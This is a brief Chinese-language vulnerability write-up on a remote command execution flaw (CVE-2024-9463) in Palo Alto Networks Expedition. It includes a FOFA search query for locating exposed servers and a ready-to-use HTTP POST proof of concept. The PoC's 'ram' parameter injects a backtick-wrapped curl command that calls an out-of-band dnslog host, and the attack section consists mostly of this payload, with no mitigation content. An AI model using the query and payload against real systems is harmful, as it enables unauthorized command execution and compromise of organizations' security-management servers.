Palo Alto Networks Expedition 远程命令执行漏洞(CVE-2024-9463)

0x01 产品简介

Palo Alto Networks Expedition 是一款强大的工具，帮助用户有效地迁移和优化网络安全策略，提升安全管理的效率和效果。它的自动化功能、策略分析和可视化报告使其在网络安全领域中成为一个重要的解决方案。

0x02 漏洞概述

Palo Alto Networks Expedition 1.2.92 以下版本 convertCSVtoParquet 接口存在远程命令执行漏洞。恶意攻击者可以利用该漏洞远程执行任意命令，获取系统权限。

0x03 复现环境

FOFA：title="Expedition Project"

0x04 漏洞复现

PoC

POST /API/convertCSVtoParquet.php HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded

ram=watchTowr`curl+http://odtcqx.dnslog.cn`